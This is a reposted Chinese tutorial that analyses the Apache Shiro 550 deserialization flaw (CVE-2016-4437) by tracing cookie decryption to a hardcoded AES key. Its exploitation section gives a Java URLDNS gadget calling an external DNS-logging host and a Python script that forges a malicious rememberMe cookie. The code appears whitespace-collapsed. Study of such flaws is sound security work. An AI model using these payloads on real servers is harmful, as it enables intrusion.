Shiro550漏洞(CVE-2016-4437)

news/2024/12/25 10:51:50/文章来源:https://www.cnblogs.com/yingzui/p/18629621

介绍

Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能。Shiro 框架直观、易用,同时也能提供健壮的安全性。

漏洞影响版本

Shiro <= 1.2.4

环境搭建

jdk:1.8.0_372

Tomcat8

这里我用的是 p 神的环境 https://github.com/phith0n/JavaThings/tree/master/shirodemo

首先用 idea 打开项目

配置好 Maven ,确保依赖没有任何问题后,下载 Tomcat

这里我用的是 idea 社区版,需要在 idea 插件市场下载一个 Tomcat 插件

配置如下

接着点击运行

账号密码是 root/secret

漏洞分析

勾选 remember me 字段,如果账号密码正确,会在返回包里面包含 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

从代码审计和漏洞发现者的角度分析问题,我们搭建该项目,抓包,发现包里携带 cookie,很明显是经过某种加密的结果,所以我们需要去代码里面寻找与 cookie 处理相关的代码。

我们在知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的。

我们直接双击 shift 寻找 Cookie 相关的类和方法

最后我们找到的是 CookieRememberMeManager 类,明显是与 cookie 相关的。

接着我们看到这个类的内部有一个 getCookie() 方法,我们在这里下断点进行调试。

我们发送数据包进行分析

我们走到了 getRememberedSerializedIdentity() 方法里面

这里可以看出,传进去的 cookie 值,传到了 base64 变量里。

这里先判断 base64 变量的值是不是 deleteMe ,这里很明显不是。然后会通过函数 ensurePadding 进行 base64 填充,然后会通过 base64 解码,赋值给 byte[] decoded,最后返回 decoded

返回的内容会赋值给 byte[] bytes,也就是说现在的变量 bytes 就是存放的 base64 解码后的 cookie

接着走,发现会调用 convertBytesToPrincipals() 函数,将 bytes 作为一个参数传进去

如果加密服务存在,就通过 this.decrypt() 函数对 bytes 进行解密;

加密服务存在,看下加密服务信息,发现使用的就是 AES 的 CBC 模式加密,填充模式为 PKCS5Padding

接着跟进去看看解密函数 decrypt()

可以看到,第 167 行的 decrypt() 函数,有两个参数,第一个是 base64 解码后的内容,第二个是 getDecryptionCipherKey() 函数,该函数有什么作用呢?

发现该函数返回一个 decryptionCipherKey

那么这个 decryptionCipherKey 是个什么东西呢?

我们看看谁调用了。

首先发现他是一个变量

接着看看都有谁调用了这个变量

首先是 setDecryptionCipherKey() 调用了,有点莫名其妙,再看看谁调用了 setDecryptionCipherKey()

发现是 setCipherKey() 方法,该方法接受一个 byte 类型的变量

再看看是谁调用了 setCipherKey() 方法,可知是 AbstractRememberMeManager() 方法

该方法里面,我们跟进去发现它的一个常量,是一个固定的值(kPH+bIxk5D2deZiIxcaaaA== )。

现在很清晰了,一整条寻找的思路如下图所示,也就是说:this.decryptionCipherKey 就是默认 key kPH+bIxk5D2deZiIxcaaaA== 的 base64 解码的值,也就是密钥。

返回密钥后进入解密函数 cipherService.decrypt()

大家都知道 AES 解密除了密钥还需要一个偏移量 IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到 IV,字节是 16 个 0,翻译过来就是 ' '*16

现在解密完成后,开始第二部了:

反序列化

把解密好的字节进行反序列化

反序列化调用 readObject() 位置

至此,我们分析完,我们传进去的 cookie 是怎么解密的了。

小结

shiro 在获取到 cookie 后会进行 base64 解码-->AES 解密(CBC 模式,PKCS5Padding,默认密钥为 kPH+bIxk5D2deZiIxcaaaA==)--> 反序列化。

总体来说分析起来还是很简单,简化一下就是

  • 首先在 CookieRememberMeManager.getRememberedSerializedIdentity 中进行 base64解码
  • 然后调用 AbstractRememberMeManager.convertBytesToPrincipals,其中包含了 AES 解密和反序列化

Shiro550 的根本原因:固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞利用

构造 poc 我们只需要反着来

  1. 生成序列化后的 poc
  2. aes 加密
  3. base64 加密

URLDNS

序列化 poc 如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNSEXP {public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();// 这里不要发起请求URL url = new URL("http://thinqnoxeh.dnstunnel.run");Class c = url.getClass();Field hashcodefile = c.getDeclaredField("hashCode");hashcodefile.setAccessible(true);hashcodefile.set(url,1234);hashmap.put(url,1);// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性hashcodefile.set(url,-1);serialize(hashmap);//unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}
//    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
//        Object obj = ois.readObject();
//        return obj;
//    }
}

加密脚本直接拿过来用了,将序列化得到的 ser.bin 放到之前写好的 python 脚本里面跑


from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AESdef get_file_data(filename):with open(filename, 'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertext# def aes_dec(enc_data):
#     enc_data = base64.b64decode(enc_data)
#     unpad = lambda s: s[:-s[-1]]
#     key = "kPH+bIxk5D2deZiIxcaaaA=="
#     mode = AES.MODE_CBC
#     iv = enc_data[:16]
#     encryptor = AES.new(base64.b64decode(key), mode, iv)
#     plaintext = encryptor.decrypt(enc_data[16:])
#     plaintext = unpad(plaintext)
#     return plaintextif __name__ == "__main__":data = get_file_data("ser.bin")print(aes_enc(data))

python 加密生成的恶意 cookie 如下:

再将 python 加密出来的编码替换包中的 RememberMe Cookie,记着 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

其他链

未完待续

参考

Java 反序列化 Shiro 篇 01-Shiro550 流程分析 | Drunkbaby's Blog (drun1baby.top)

07.IDEA 远程调试 Shiro550 · d4m1ts 知识库 (gm7.org)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858550.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kubernetes应用编排控制器

1. Kubernetes控制器模式 1.1 声明式API API设计方法命令式API也称为指令式API,用户需要一步步地告诉机器该如何做(How),机器自身不具有任何“智能”,只被动接受指令 高度依赖用户自身理解和达成目标的能力和处理各类异常问题的经验,实现的是“命令式编程(Imperative Pr…

chrome浏览器如何修改保存的书签页

前言 大家好,我是小徐啊。我们在使用chrome浏览器访问网页的时候,有时候看到有用的信息,需要将网页保存起来,这个时候就可以用保存书签的功能。但保存好之后,如果想要修改书签,该怎么操作呢?今天小徐就来介绍下chrome如何修改保存的书签页。 chrome如何修改书签页 首先,…

震惊!J 人团队在电商零售圣诞高峰,如何靠 6 款办公软件高效工作与学习?

随着圣诞节的临近,电商零售行业迎来了一年一度的购物狂欢热潮。对于 J 人主导的电商零售团队而言,高效的团队协作和个人学习效率是应对这一繁忙时期的关键。在众多办公软件中,可视化团队协作软件能够以直观的方式呈现工作流程和进度,促进团队成员间的沟通与协作,极大地提升…

ysoserial之URLDNS

URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下: package ysoserial.payloads;import java.io.IOException; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.H…

RK3506各型号该怎么选?瑞芯微全新工业芯片介绍 触觉智能出品

RK3506各型号该怎么选?瑞芯微全新工业芯片介绍,还将推出与星闪技术相结合的RK3506星闪网关开发板RK3506是瑞芯微Rockchip在2024年第四季度全新推出的Arm嵌入式芯片平台,三核Cortex-A7+单核Cortex-M0多核异构设计,CPU频率达1.5Ghz, M0 MCU为200Mhz。RK3506平台各型号芯片该怎…

Chapter 6 Optimize decision making with AI - Simple versus Intelligent Data Analytics

decision making ≈ data driven decision making Data-driven decision-making refers to leveraging aggregated and summarized data to drive critical decisions. The data serves as a compass, allowing you to refine your “gut feeling” and minimize bias in your …

智能网联汽车网络安全开发解决方案

随着智能网联技术的发展,智能网联汽车为用户带来了越来越多的便捷、舒适的用车体验,同时智能网联相关功能潜在被攻击的风险和威胁也在持续增加。经纬恒润网络安全团队密切关注行业发展趋势,致力于为国内外客户提供优质的网络安全咨询服务。在智能网联汽车电子电气架构(EEA)开…

PCIe扫盲——PCIe总线物理层入门

前面的文章简单的介绍了一些关于PCIe总线事务层(Transaction Layer)和数据链路层(Data Link Layer)的一些基本概念。这篇文章来继续聊一聊PCIe总线的最底层——物理层(Physical Layer)。在PCIe Spec中,物理层是被分为两个部分单独介绍的,分别是物理层逻辑子层和物理层电…

【教程】第十二章 会议室预约管理

通过循序渐进的功能升级,你将打造一个强大的管理系统,让团队协作更高效、流程更智能。相信如今的你,对于 NocoBase 已经非常熟悉了。 在这一章中,我们来一同实现以一个特殊的场景:会议管理模块。 该模块包含了会议室预定与通知等功能。在这个过程中,我们将逐步从零构建一…

log4j2 rce

log4j2 rce 介绍 Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 由于Apache Log4j2某些功能存在递归…

推荐一个C#轻量级矢量图形库

推荐一个轻量级矢量图形库,可用于生成 PDF、SVG、PNG等。 01 项目简介 VectSharp 是一个功能强大的 C# 库,专门用于创建矢量图形,包括文本,不依赖任何第三方,支持跨平台运行,包括 Mac、Windows 和 Linux。使得开发者可以更容易地在他们的项目中集成矢量图形的生成和处理。…

EasyExcel,被救了!

11月6日消息,阿里巴巴旗下的Java Excel工具库EasyExcel近日宣布,将停止更新,未来将逐步进入维护模式,将继续修复Bug,但不再主动新增功能。EasyExcel以其快速、简洁和解决大文件内存溢出的能力而著称,官方测试显示,仅需16M内存即可读取75M(46万行25列)的Excel文件,且耗…